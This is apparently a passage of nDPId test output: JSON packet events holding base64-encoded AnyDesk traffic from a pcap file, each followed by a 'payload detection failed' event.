JqZKwPREfey6+vuPql\/z3uIW9q7GISFJrwquywz+nZlpSkm0M\/pyj4xYBTTeOcCEijcLlW7n5wZjnmkGkFq4XG6AFOukWf2836tXdZddg\/O\/XLHQEV\/t7zRHnKpcURaMCAaI4Hq3BpWG2S6vbwHjt4dP5ZqO9w\/umPzkaPhIRQ\/9fg9n2KQ6wQTjtGa+nfB4IwvP1MV0PU19Uwv7hHFslh65d8wFuH5Ya6MPLyDxbJlQPOQcVRldwJza7ePU8H15MswUxWuiprRD75sttiHdbuMQEixQmuPNpMyIyG0Fo53SdGg3Y8VcVzC1Eqq9\/UsYN\/W+"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1751,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2192} +04263{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1752,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":978052,"pkt_caplen":2932,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2932,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgfZAAIAGAADAqAG7wKgBstOUG56PLCiQWcQ+DlAYIBCExAAAFwMDCzlZ4hNO+msWgx0tgKCqTmnTldpePqShxg2v3rVCLPwf4z9uubTZ6kr9Vpt\/lQl7CSJddBKu4RgjKE2NzvUzIJElmLaqfMtZhQDp4jRU1cgAYbtEAfAhKZm\/o9MUurkSLj4U9Qmo7+Hjj2SwcjEHHvJOB4sWNzxBvOke5Rd4vYmQJ5a4qEVD0e6tiECqhRPzmJEU7TpeVawpoIu+YooJyTcpxiHIQZmj5QTsVpF1F3eQMS0yR4pd2\/HQMUGsNRGEyU4KzM9lJFKF0mm4RdYRegM7f7vuuO0B61od7KBT5olQHO2M+RCCNw8r3PWGPVr1sePWhCkgDjnRM8wUGaaWgWMCxHkO6wMyDcIukvcrH8dVKKT2TTUJwooj1r9+MqBFfW7cNiUQLpz5NbiG+VAc5b1Q91HlfhbjwoZLtb\/ZCskldVckS4WYUyDhn2chimzL86GvEeb9Mv4o\/T1KtF\/Z6dQkO983LZfgdcPLHc0fJXMyVLnr4fDOzYPa5VihubELm8ht2OEgonIdl\/+QOOCNZejo\/2BLuhYICaywUOtvGORK7zTM7e3JskuU2zrKWtoyNqEG6WO5KRxYNsAkwh97v\/FyJff3uMx6M9k7lFt9p2a7ZWMkYkyTngY40pJ2VwA4+xHp6qeoUkFyKGFE7ow8hv6N2SQzPBGRx6zP9VFLpVeoSsj1DnMvpRV3KXD73H4Nhz0WLx2QZR6FneflJ2DjHnBW3BYDDor89SOYLqriDjbvsrY2c+DGLkh1Tt+RZzmasJicrVlW\/XXGkp3Y8bQdVlVRo0Q\/z4JLVmoFUjUx6BVPdD4ukXOemXTCcIJ6PxyJN3fPODHBNssQuijZGkDGpyRe5jwHg1+WA76KF6KKZp8\/vk7Sckn8YHN9xbLnzm5Ms+UNSj9H\/N6iFgdmgRlRx\/HdhUZAM5tjY7Pce19MMymYDY\/44ChlQ4FD0L0qp8tre4g9OK2tweaPOJOCMRHJNJvDHL4mnevDe14dpm6IRHdNcpPqRooow36OKvr7Z6vfhPhtqZ15YztXWNlAvpuoxFTpNsTwmxJjfd3MdfdKKMlFycXv0oXMZZl2463GR88igAWpD7wbItW+uNEqqKMzZAznUH4ryW7ikXjZf7zJYnkLSbw6kdqxbjbERJAC6MA3jNXduTj\/W+\/Quu83DnBfdeZ\/DIeCITTNQPXhs+J+GPZ3mXU06Rg5CNLzqTBElDbnFPIg3FAz2DKUZb+m61NAAqlx3BuaJc4WSmBQVzzjbqcjC\/Xa0dZGhg1Yy9QFkKyVZhAK4rQXZTujAvczg2FR+em8pNQqkNgdP0ubIjo8PICATV5IZjC9cyO9j7aBwiDkbuIFrk92RQGOPGPWcYqtem7oo9DBOHeAEhk8hKvAK2DG8n2I7xSCjErXYFryNrEb2g6LM0+Rd+vpAP+iGoJw1t+\/H1dAfQ4ds70erdE4XH56nt4CFnXuBzwIHlNcJH58jHBr8T6jfHHwrR\/sT0ElX1eMoUA+5fSRXtw+vsgZ2NmyoC7n1YqWguGm2exElryq1URf4Inkq0vsqVmR1uqgM3Iw3TsnHbsd7fkbFGToB32iRitCNmCbSpBnQwxrln2XNOrJXRfkkGPqZrKMyHv5SYOeIOTAcpejnd1UMCFY66UBpGX1NQpnbzXy4QipO5aN9XsdNaccmv0b2jNzO3q1t62RTXiiQmOnuhV2z623eMaL+dmhArUH\/v3lviQGy4pmQXxq2k3T8zbLX6Ihr2yfBtxffskEQph5KU+ojocRrEYR2Xw4uL0lV8aXSBmAW11CQZVCODQGuhRCOxka5faYTU6mQ10gFZBtDJGv0YkOdmIJA4+TlN3mObGe9uN32PM3HQAfIjP0LHl26Rmtyoz+n3FUHYkx358UvpqAqt0sFJu6S3IlTM0u8xfqcSfmIoGQ5twV71FbQNKy\/13Ag9PjTXxka\/uW4SHwgsLAouHmSWBp4SuFOgU5wThjUEEqlp4APpoMuvLMRvhiv\/TGCIn\/GjdWsuDyZ6noXG4wICx4bLNE5MVMxLoyCzIDxtU5uFoeuJ5JHAXYJ1GeMXT9K8K3dkcWHyyRwi9DWvJLGyLlvw7KYmSghp6PPFEj53Pcl4U8BQt1\/dCo5a1zawQKvgClw30rLxe7+PYMd1O8vt6adRRvaJuOARnJ8S0kQZQ\/VIjadGsryHCQz8w60sl8IkHBush2TVEcj3+Zgrpl8tly6WegspUDBXyKMZmgd9haz1uhRQkUeXKT6cBF4ZpVh+\/+j3tmBOJcFAJPKG4R1LVxVK\/96bClnEZFy00RIE8iM5zezX95ZsSiWe33FFRhrnbd\/os4W0I+PmU57iCFxgDeWA3rM+eRQl8vwrY3LaL6mHdXgY+HM6xxGKWKPpb82HdnVRCfAcI2pSqTB7Fx\/JO3w0DJKfGeZDa7gO4T+xEtennp85\/Kxz9y\/H7Qcgc5utn0M8japY7gbeKytgandMY3Y0xbIzLqYMR9+laV8yS6dVjx94sMSN\/qxf8y\/GRUlrm4gP\/OzgX0P6Js5yGT4MrveGaY3r+HGMI656VHt8+mS0kCCTeW56wg5r72J7gQzLmh1CGtF3xHx4qEEdL0l1WqVLcGknZrgMZIinChZmLcg4Kr2e4ywkeogXsmOLYknoPuwfKy1Xu+rcn6ZoMTibacrEfydAFd7QhD+JlMsnzMfGrxg9V3uI94aB0kRy6sf640Zd9+TF0LaYHuJxbdNT3ESLbBJ2Po3veSq+djbD6ZkmXcqPLY0oygyuuSjcFcoKxAQSbsALmpKwLjII2icVfZ3AqBDiHeASI99Z8coWm5WYaDDwuanizyPvKBe7DNOcWTCW3Gw8qdTSnq02w8wfd67qB23ZTmR+mFIeKvLcvNCsJ758kI2\/kKdCD869wuOnMnP8bjEZ15Fq+oNhAVinDdictd6UbXhZRpQ2\/TpbUEhqlvUqAi1s6vkQKy349twfc7p\/wfT+eY7TVJAvSPyBQs13+6s5D7iSySVNVIfkhMgmiHOStFoJnb0ZOXc2xVFD1Djt4xl+IQvjnbP50zXSmUqkhJ5Dth6QI14X6VpqxQBcu43wtBhk49SKahp4ma0+xNx2QKWedz4FI4cz2AXJ9If44IQ0iXNHIMyIEiEQCfEaRyjahJTH1xUqjbO2B6avdJReoRgS69+z+OxNnLAR8xl9fmU2f\/L0rKoAvuVNN+TyEi5VPNoOhZjHF3EcCEpQ+LtVHahZv8S3DKlgV1XAeqU41EpfUwRdIp1qn12rsS78fVOwKb22rBpumgVeZWrwPDkO+UGCSR9EoJnwMAXnD3sgXgjwQokZtnuCB1GFD6UwiCd6c75e8718upe6+LUgEFPyJY+p0fqQpQtDyn8ZdAuiZwlP5LCBxa7BqaUISaNuCrM6RfFY+gxIhSa8dE11jVG0ozPlEtTIaWDuQ6506kkr9tyUFG3hS5ZmErsLBr1J5rEsl7CE8yJNWFNGv2h7m2Kll8P0nwZ7JMd13CnS1bmb8W1V2KAlXDk5OSP+QgEFzVmyMVX5aILjQqbf4vYVuR49Bh1ltw3FtZhdkv2l1bxX2jVhpb1l83R8tsaNkwBlI8j8LBGvvhxzjAFxUAhkcvo3L77dLNrzLmf5c903XOymGE78CWQJVkfG9Lpve6xEcPStAB8ixSTsdGzGifTHedbYKmkSQuNJVcSv0aipysRILmSdCi4J8BTnGKx0Xuq\/KX3ZWUelMBiOSIaSF6a5Ik7RSydApD9heTgdYwjDNsVk9b\/tMZZU\/fIkyqFrwYajsN7im2zrB7lTpXrKgmi0P+dRPRmZ+FdcuaT\/Bzr5Bty2PojFSSYZn52QT\/cQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1752,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2898} +07836{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1757,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":979438,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgfhAAIAGAADAqAG7wKgBstOUG56PLDPOWcQ+DlAYIBCExAAAFwMDFXlZ4hNO+msWhOj+CCk3e\/ju0UGOksvDi89X98rGoBsFFpoy+9a5uv5qz9\/TGt2CKP2zMudlrMga+Ed84wjUnWyrg83Su1K3YkVlSOwgIN41oWHc500bSp9x9KxGT2bjQzMg13PpgnMQWyXUq1iQnWzvfoUKTWnY1HHHN9ihkIOwQfA4lB8X7orYJ\/GiD+eblc7ES2I0knCMdawUPe2q8iYKsGDfVimeNnyizmG0uyMu11NgdmHB744dmNMM5z3WwwmyLR+f0LnG+TTMpL9zoRpqWkQiwmXh+sBNrkldq3asMVNTQ34JswW3tXnwmGzyYgEinumiTN7lyhDzw3NxTISqYJVCUHyJqPXKaQ2y1jEKF4EzNFY5cAhxDxBxSa5i4InUPrOiAiZeUoQUwM94KzzG0NJlOvGyk7m57+qJ5Hz57pEcH03pMHx4sjySv93aIxyGKhoNf7UYbR7IRejclyRvowtfyxKoIR8pDCjRE9DWQnET6dKr6GPjcwyybPhD5brBy+Jk5gopXieAuKQB73eg9pSwZHum3yEhdC0Qnv9Jnz7dk0baDyRGrjvejZAbFTT76sabM3sA0wTcefThOqo4UpR9QqQxwjkwr4xD4lehbyvcIs6qsawndOZbfOC3TlZz2qdthmccwR6ib07EOygToiOXOeRnM6r5pvmoEOrcz2LoNdk9PKkWtsAtx7UJs7yLTrTO5M7\/JOreM6U0HO3G+cS2hnU9FgMPaQ036sCABE+sEzXFYPPKTAqiQ05\/rVn2rkcnANlXBs4\/8UtD8CfHHDhVr290sv51K\/Ia6ya2+eRfJl5+M0CalGd91hc2aOzn++o\/4CMf6A9zNWxEOhrac8pP36Wxqlu03VqpLHuYnlgMu8GUP+4DTvJjiVw+mwjpuhCtyD4nllf7V3vbPQ1tY6LEaWk\/hyWqV\/Bs6xlcln9qQmERDn9U+ql23NoMV91qm9IvsAbkuDRWWc7seE7Rat\/6hOurM5IkFsLyYXEfe3BAgNABVat4OM8HB5\/AmjLVY8VwNa6steIQ0UXerRArcMcqxpgagfS101sO6s1VukMipeDPALGxb8L0hmsxcpG5c7X0RAgW1eHFhERFVYtiU+hz8bu7UYw1nkZuRMzI9TT8+SyMS08AxE0Eb4iza+BtDqFa\/Uck3IjDeoBfV0F1y\/1fxeYaGa1XXiNO9m7Xn5JWMX42yw9\/0g1pXowr43FEoFWAnlxLhaOeaoeyKbgrZRq4U0MToNG7Tj5QJUQR28EXGMb1y+wbFixSsSouxzAubZJukO5tLNPx6waTMfeCbFCkECoT8eLv1Em+GCrC62BVCnO8BG1jjI6Cent+yroVnfpbOyUWlxVUq1cee66CJEKRTYakhECcTIGb50bbb7b4i3Sc9dnlrsjFQ8SugdHwQm+WrvkvNf7ZlCGyHlDOIJg9EntM9HFgy8y4cabgKbeQ1IF72eLjBp2JQ5uGcu0Q8+WTQZ6WLJyRN+M3Zj4w00DXzHXplP8cmEjdL0xmd1lxi9Nkj+j5KmLKl8uFT3TH+9WOWF94ll00zP4GJnzCs4+qwLD4uZbGInM+sTt4N3LrHyLCaTthwz5CSVQVrS9ewSreTgBKhnZlBHo\/urtkkv3l6VJzrnCkuUwJIPZdRfxM4wTx+DIOP96xYcvgUIY6AoMmu5jsEwmXFAh1FTjO55rORJrQr+Ap\/4BpMbRA37n13wrQlnJTn4tPtxPfQ78zO9u8ah+70NftmjdvfsCM46xfhEGL4+\/tbMazH9TKQ8rg56izHbCIIHEWa0W7KR6XL8RVG2emyAXvVwfP2dI2HetbVPjlzi2EOZpqjeTlVQiyMaeZSp\/UwGSUPzau9y8gVK\/2h08TEtRdvOlFw3bX9YBsMNvasrXQYnSNY9Tt2LlCgExrVC4cGJhMgnVROCoaMTKLzVN85heHqzb3l5i0LqU+8xekfRWx3GmXyGR7T6J7nIEvOnS8QVeLNl5vQ2mLd+Wp6TopTrajxshspnorsos70ViwGBbceJb3NYPhNW2QAyG0ogoEfxo6H1nMP3Gv2Y0w8SLtwfxCDGBu+BgF7cTPfIRk7BjGylDOfGleq08msuw0A\/7whtD7q1DF77wIZu03YhA6SwVsV5qDCDXdWdaD3KOHBBlFAYf7WZzQzbjTz6b+dKwZKSl47Dgk9FPR6iAF\/g0vDrYoOy3QIBQUQSCiRScXnlOtxGk0\/2siFpZRCZyuxZHiFAovVP+Q42RHFs9+vLup+tmmLYW\/QCfe98\/cIiDkYc8tYgItFnlEUs93DmEBwcAZZla2642hve+u\/6+kZzWGV9s9d4qNrH1+r+HdiP1IEm0rHvsA+DVhYwQ0PtwY3oxIejn37XS9u4rOwzvSyPF7qCiyY\/ghB0mGXQ\/7Z0Ll6gih0tszTOaJn\/nBpOuM9IqJYjRBlckTgUTd4LF3UsbAk4n\/hFR7Y3LN8E\/TgUYG6NAG79P1uP18duOI6Wz5AzFA8xKaxmU+0+S7WFgfAy9HdSBtJKmFwC6xm+rk6CllId1ds0\/\/IzBhM6F0O\/EU7xOezGum+hqSbI1FlB33VUJPfBw1trKUkK7fIoDwN2W4GOXZgki2D9TnZzMEui4+GqT3W7LJc5D1N59EUBT\/lGZbaudIkSDkJiV45VrVD\/sTbolUMp6GTLsb5QMKHxqJZprEqKZtHLXI3eWO7Q2xxz9fg0xOe2iSKooP4++jf64j95RFXrL36d1TVYVTx\/5jviVKiVW5bMJOvHRaEyHDXgpb\/bf1RbmIg4SZU0vLnPNqpgGIsbopmsFXzaTFoKlDpIl7SfOrXW1gWz5\/VsMYbXJQ55JnN5deG8\/YWCqxJVO8\/QVXayNa53XH4mBqcyqzpyyogcm7V1YY6tUbimW7O3JSRLrYjldrtI7DCKVaCdQMvJAyDMauKPhus6jPrJZQGGx0vXU+xEXlF58QcK2otiOtvzjEZnZl1bAGmTdjnfe3R7rKfqeM4AC9Q\/3hUHJBd+3ZGvOOb6YIF7vuuA4rE8ZFIMo32rNYsdRLyl6sn9iDLNyme\/YlyMI4C5AdedMb4nGZWdrMZLLYphIIXi4y9PIm56uqBRptuwa\/pnO81FKiWGBR\/lHSnCaV5juM0T2tSXr0\/HlqLY+wZd+PtUpGFKaB9HMKJHkVzOdRvFrMLVygIYf0swAA4SgT8X+sKUr86FOUagbRqjg0O3HuUkKnLnW0u78EBUrhsAiS\/0\/ep+FT69EB4712LKqhSIbbVHmbE8HfnFmXsaLLSrdGyNG5rCqM43DDOirgDtO79cn6VxFJbDKg6wTTjvWhFgKM1AzBexsvA8EbK6uvnP6GDkpky8Erad1BNn+KsN0PTNLR2BTP4+k1UeYiwsPPuFJY+tdMxBN9FL\/QA64HDPPxhBUVF5U741N\/7yt2KtgzLen5jrhSP9RrhRhOyaZAEzlcMciDGZ1jRSDvUMy12QOSlOFUvBOkeCa8a21kDG4Bpek3IViP\/kW5jXhdeXA+HhaOlmr6nyUZq+irbD0nXZ7xGMqF33HTZNfowGxinqXjrH6Cp+mYvPyGgEiWwV\/WP2zV4cpYI7amNBp7l5MMTb+3tZS6F8LwnDAhVamaDnX+QAyrkoJddH+9ywb\/1DQ027ea5HHsYdyGBxrcWj7u77FNSUN0PtB9FD7NcVxJcc5j8e7JpxgNXNjoXE4MrMdNZA8wjskw4LKLLXt5RuClTh4paYYkv7XDzVo7ViVUQGUP\/PGU7hMxipOseqvFAmdlFo5gzBoRoqeAHOuGgeCGLuPq34zIqFRQGhVm1G31MnXCjFaP2Ay\/FwD125ikPzC3ONXvTgMEUU4pC\/+pMGv\/qTf0LU4FA0d8g1pOCc0N9aDHbmoBK5BNHk4398pqjO+2X+asOlN23XUuwXX0GFpDK5J5ZwIBmggr6kq\/sfK\/jAHZbVtGXniHxZc9buZJgxwymHGLcAQEelx8pDd2rrJKSQnZ8+f1u1RDsQb9u5kdJw5Wrl1by3nT1aqdJVLTwtU3FWYHZjoJzM8BI8ZMFIr8feGG81LVNOfer+aE0H5cPu2tteGzO1NPS00oMNw3OHf+1orYUMMLHDs1qMXrW7nlgg3qtKS+wJzXn5wTgZa6nCsUgbKNirXgO91GIqvriYgNVzSsYMCcDfunfeFmEAPCLiQQhskntAUr9ZWnxRUzpB6eunC8eB7rP180eiqMRJUhMiYbxj\/8GQM\/8Pl3ty6F\/1ss6KZUp6FR5xOXkzvdjWob8qTng53G5LLUyakWiwAtFDpUcxalclS6RqtN5dQCq2dq\/DoPrc9g6OKtzLKC\/rUifTlgfOyjIVntE2vJOv2v9F6s7l0x\/nWgmyrkZty2BE0HA4N2pXNvLZ6TpcmZNab0EXxuJtq2ymNXpQdVhA8dbL2ZjgFqXStRmsIjoQqmAMiWoAWQUePDsRmq9qw4N37+8PXuwafXfhGSrNsTlrI6qyIXPa10uF56xTRkijPz9gYfGs3DGVPtTYuz4QU39adRz3V4UADWkv62FzNNjUev0+YJVqkTONkLqrB\/Ck7\/H0bIfVq7n4zJSizQ5fwiMNu0Kxcdd3WZwl9j3HfaDSxMLe+MKS\/\/nDSPBeMqEqWcj4Cs\/nlni6rf0QcHYhaQ2fPynEIRe1BmbGNZiWIweAU1qx8F3nP6kjfkrmqYwGN\/0K3j4wh\/u7JniqDcVFQnAKkDjvaIgPd\/A0vBBR6CRlZYFpKxfS9id43PXHzESAGiehy4jYUqjaaLK0TG6+Uvp0zG\/4zEw1L81u9n+CGbWjrKZ\/wjga06M9I0KbBQgPhJOVVDUNjZ1h\/hjHA\/1CVlpblYSDsQ3w+QhAhqQVU\/ZgxN2eCRR5X2L4TXxbdKhP3siEA85QcdUVW6n9mVG5nY3fZGxXHnOmqyGaBS+ZEX6TrvpLMH9MjY\/AN5npTfaxdpFJOsl64qsSYiMBC8Iw\/AtVJ1vYsXK6LZjMon0mQtadgjmtcUETvnmKNy6RRGJ9gmZxMEw9NTrt9NTz+HD33Tuv3BnUxxCNLBCFrY\/w\/D4gvhXrOVQf51mNmsXOgXWm3b987UmVnSQ2IFN4rnfp++dL0g+ZIs87CHOMPVJPkv5o7YrGn79aNLK9aTHa3X5UfwAxa7FYJxpRQF9RPMYXOjwVK4q2Hy1KJKCRSRq3J7eJhfsHXM8B0SmlSpqBpRM84+YSX0qTqqmAugy0hW9aMJa1l80sWtmTzzBtYF29LZJCXW7rg7mvIxeEMPN\/n22Eh3Hh\/NV5sG0cm4LXQkFZ6MB1vgkC\/Zq5mHjl5uvAiJFmx3yA\/w9w3Fs\/GCrj16acx3sIPAe57F\/JrZx4IAQYnLWXV5jVtkYAIirl6RB8txvFctJNwfi+tqSjNAaQV4U198+jZfl3gTBDhgzcO3SRjwIUZvYnNbM4e4rtirw+JnHaDe9EfhSrQN\/Zy8Cq3xv9eCJJVMZASVJpo2PULyIUErNPUY9a5jO+U4egPKojPEtFhvDOfzx23n9gszDS8MKrDIzpanSXpqj8yMoGPUi\/TUWNIW6uoLqW1qcUTPPTQMeR+tULA43JqrDwR6lybVdhE+PvnJW8E4CvlicCxiFl1Fg5dU2ZRRN4GGJztGNFqhAE0Zk6jPbpHUJCP8Kw\/t2vN+0ZOTB4wyaPDokfv0\/m66erL\/y53cS\/nUBwwEHHYHTqzKweeoOqsg4ydNPkL+QFCnSzeFupBU1OXy\/lzHIVxZOW3fqr6Jd6qt3autfBoH9\/eVmLqw5PdxCVdBn5DIDrUhjEl0zIU0SD72XgCkZT2YniSqCBDiTrqsarqzvvSNPkljShYq6OP3\/y3YfBVafOS0RIf4tN9SZvEE0oY8SO5Ci89gaFQxDVCCn6ehWlov2Op36OD+X\/4T+o6IViTDWv2KgpSKnKalAQ1hrDU0TF3nd4\/5\/vGdpqG7xtwKMYazd0J5S+k1aNJ2Q5egyNRG4InRkH7IfNOvaI2vFdHbiaG2p184mPsAgBA2MD\/5vKwdLh41HXkjbaqLBbT0FUlApVpNZGp7OuPjCXGvMkPTGZW9ZVDPNx5h6EabkiXgEj0UJNnRhuSbTGFX6Klwzw40jKG8xdM9LxmKdcShqKroW50EvKq\/yc5Ap13b2OEiWH6BmymCJmlWLOqzm7mpQH3P+jRqyVo3lCCq1nfu+mdFVfIWbmDR39zMUUnRTVKNjkMMDxWg9cbv0wsEn1mOtK9OiJWTuOIgQhpz2rVhINvh3IEVUbpRvPbesg+y7HK7RpziTIH7vGS0gic8Lqp\/\/+6dz5tPO\/16dy6bn+D186wS1T2\/A\/XN5f8\/yWCCnwa\/FW7IEG8EkM6A9Rd6xgJ6j0cIoGH98bhvJkzLWU\/0xS5YQBLTYjBpOa8kmKqhQiPapZ1sNcBChMSLz7MYHGtFqM4OpHTUc1LZwInQrkjPZvVDgX4IrtJ2jt4sN14DOHECI7lceTQtbdUqQOcwPUn6SqXIcKgtTZXfX6hUIUZ\/r9snx5iW4xfeStZK2xdlf4lcZ8IU8XPRZS4kOR8Sf1ia2YInXFphbT2icnac4qVUm2FGR3SwI+A6A\/MNkHKpfXdJ1+wFog0XuGfhzVIpLbGS\/ZhLJKD9fUBbvpye4qeH+6sDSRS0q4o7yENg0sW98xkQNZdv81FRAtxZpsGnghqO\/tDUF4xs5TKUK1B2pOej8FTUMs06mwY\/957G2ILObsIMp4+pZq8tRLtvZKLTUkXtRfhpfaw9AjTqn7bSU5SvN+nlOs+sp\/pknLnsPofDd4rtCdUhsg++wcXldXm1BtDdcDmRkxqilCXBcHjVArHbm3Qh7iY\/cy61P8kAmULGsggmRnKvg7eCsd0RbHBRYT4Ykmqp1ULkSq2lUHSEFdMIePVG1YG2p0D2G+da4xQ4XC4XFRhhV08POz+gLyBh\/99dJ8+H0qKs4qig6vJf0s4pEq+CmftT7d0tfEmiMkcYKTbF\/UxK3yXpqzB9ZMwwLEMoayCVF5TPGQvlPVVDHDUsU1S0wsTDLCX87yTob4P8BjmCPBZ\/BD7iAsj6iaUvM2iWZFV7ga6qKF3HXWHETyc4MCAOEkt9aype4LYiYcdXydHEOxVU4k4BOFefAdti1MFRZN78PXFwtOlA3FcqR8g35taKNaJj7BFK38TCU4kFAc0zBwO0zzqq28k6HZkLVBpKQvScd9KSExVwd9+HnLsmvm1KPREJUHRpHYIm8YN5IabNmTYA\/qZ6XWEWI5qiPOLgYsNLIXU+fi+l57+LZpX1g82onRoh+wWleNgJWKoRPLiAG8pgcmtx\/75QF3re\/y1x5xVGTSVxlUJs9vXLYLbKgsxMy2qXih3hwBRezJxzdXP3"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1757,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +02394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1758,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":979479,"pkt_caplen":1540,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1540,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgfxAAIAGAADAqAG7wKgBstOUG56PLElMWcQ+DlAYIBCExAAAFwMDBclZ4hNO+msWhc1w3p7efVgoJpTLrhlRiNXbR9b8QErISYvmMtIX9dfsO4BSs\/qy9CDAhOgl0seeVKJrWrGc6PnsBFDfZwjuftQ3qhehVZDGGFwm\/rNnf2UzbZqisdnBFExXm\/Eeq1XqOfiwsrfOnrN2m0Arj7dgfw6T3XPZq\/50dL0e2mgpQgFGU\/ADjmofpL48FEMzcCB4tuusTXWertLvFCvDLiGlU9oyuIWbx7abg1aVlM8iDA7eogyhFvVrDvDJEIJi0rMuxhCbUa3XYdxdxGyMk3ZCRjUR5hV6jXPBdN3o\/089TI5e7hSKSLpfS2Wx2uMbXxNiOm8FWgRZTCuV8MNVFQ\/Qwqk62QyV+D07ub7UJgYhSNkNLFJLO3148Njv7y6Mua9LF6nTZdcBAfhVe2nH6Cihr1S\/3AIJw\/8utUZv9js3tHHZpU7bcKs2mJH0lwI8Km2\/q+zxQk\/rUdop+QDD31ONOJEdBzQJTEmd5npIQhdosSMgiXeCqDzprXCGIK3rHnjrSUVi0a0vdWYABF5dGdMBKymBSXkNDaYbwWSV6kk5V+LVVYCEva4OSpOn6HQNjFxptaYJEIqZkm0ZTWd1GgQaWFV2fLi\/Fcu4u6D7q+Icn2xGAdSjF\/zRplQqv66\/t8hHrSevVKDX+4BHgpPARy6GVkHc4M1tl\/8i41F9EsJp13JEAwP1fpsXXgTSZx3W6uqmFFDEvg0RgmgKZrhZFvbQBuMnT1xRaXr+BA94mXBxsluY+PvzOibLUPf8PggfEKq0uB\/\/xqtiVwEixLgTgGvgdW6C2+Pe4Ou5+GUef1QY8R1te4zYrVwuRRZQzgU3Umyq+JqLGrhI3gqUJreiMbF5RW8tXSZwrasYBMZ+IPuiVB05l1RYk0KKhp7LOCYzQ4jolM9shA5n4WCTSVsf7FrLQjjsn91chI7HQ64q\/18JQIVWv8Vm1ISbCXkkjRYLvaNUoUJQR\/FAFEX86owwW2hYYPWT6pPv0RIAnV+n96cP3tEt049RBOhiTbCKkOmGkKgV+T8V5Be7pi\/cMDMMEsCResKE2uyRelV\/lkj0XyXKztQTcoXAH3yf3tQQXqHInV81Sf+NiwuU9DfDvbF8IZ0iyvF4MNuWwrqDtC54aW48RCuE9YmCDHUXBCu8XwfAflOcuO34cCI7lVrCW55ekAlAUXK2mAsVrQjFKcKAr\/pAXb+4k8bNlLbZTJAn2xV3mxY0v0neuerDrHiP8IAVvGjw2lKRr1lw1DRDaG+DZPmv1dcEmaxzG16O3MlfFqmHz9KcwELYfhmvcFTJuml8FN6HWf7JwvGYe0FiMt58GiyiLIbmkWPx8GJmeyfelR0IETMJPoFblp2bcGwJHZxvORQlvNKmLMDaBh+7y6tmHOFP+8VR250HWNix\/rX6tE35nP+BT7A5n8r\/r3oOQwCeC03fwEzZtYicum0fIFr8VnAIHmI5LnmmtBHs6JOYcWhEugw05dOg4iQn89otVlD6LkSTN+nGdzkolYTaY3Gu+xkvlX4vznep7LsjD4\/V3JqONeWMP1BKBxGH1cSVpnFejmeDFiPvzffJFKRMG9dT4lklvsxWwqBhq+HxJ5rFV4SbMSvA67LTNGo+SAxew1kKv2g1zMztPgDFqG6DYxAAXDqaSr+AkcRtVSN4FuRs2Tcy5NGIoWEeuAf\/kKmH2AN8rQeqavtaOjf9PL9kFLtn+QTw6LI5efpqS76HBsM3XI982wAnYnFDlewgXcn5mvN5vHXl5ZYozyTKuodMaB5yor8ZeAlIwA67n51L0x9Gq2lsNV6AO\/uVgZVxD2TX5ce3zc1XUPMiHn9gyFAcBerU7YKDtlazyCA6C+Pu4wUfgmzn6DcBfZ\/AmRJiXsZbv5H5hnS1Gwt+rLnQ7\/LUGVZmPjKfunt\/0\/8\/nyTBfI7tnkVhOkwiXWHG2ZNO+6hypJRFNRq5Oe\/bY1rCDsT3mzktVAygj6sUAQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1758,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1506} +04266{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1767,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977611,"pkt_ts_usec":7694,"pkt_caplen":2934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2934,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAggxAAIAGAADAqAG7wKgBstOUG56PLE8aWcQ+m1AYIBCExAAAFwMDCztZ4hNO+msWhmlgCs2ZRa7HG84Qu43E3Sarbx23W5b0c4NhszSmNuXKO7Z3eUDz7Ao\/JNpgR18Woyccy7rkXSeDwM11Y2PW0pv63G5zZo0Eeg9QdPw8ZkcFV33vU90IUAEatTOh\/wX+jF9jq9N8p1JO4HJKhSzULPFtUe3bbU1Yme8TDyKTJ8vJeTVBGQEszk92tyVipLcDxFAFF8w1nHW7cK3rIK4bN7\/kesaQj+tHjJ2uSCtOWYoXLdX\/GxEXKBoZI6VV\/h8x3kgI66CdH7Llt\/GtjJTo81FzDJ+1O7ROaxkiI1Lg1glZvo3na0gji3JCs11W6PExlNLLcwoZa4doxoKX4JkNoKSEkBCbSmLeokrjPo07JUJsC37Xcj8PfwldgPKcgPYCeM9cFkASJ51cygCLGVST0hN7lX0jtTOmaJrNuE8wKJURQxMcueVh5VedYUAlBspwZ36swiriVteV6FwW+wWmL0OmV3ke37Jh2cjiJO2d7wVcL7Z136mjzAKAFBbq2zgoYk5KFS4DRD7arO3PF8htuhSCWmOEQuRlYyHmFX1mKKLMv4PpnlSssKGDZX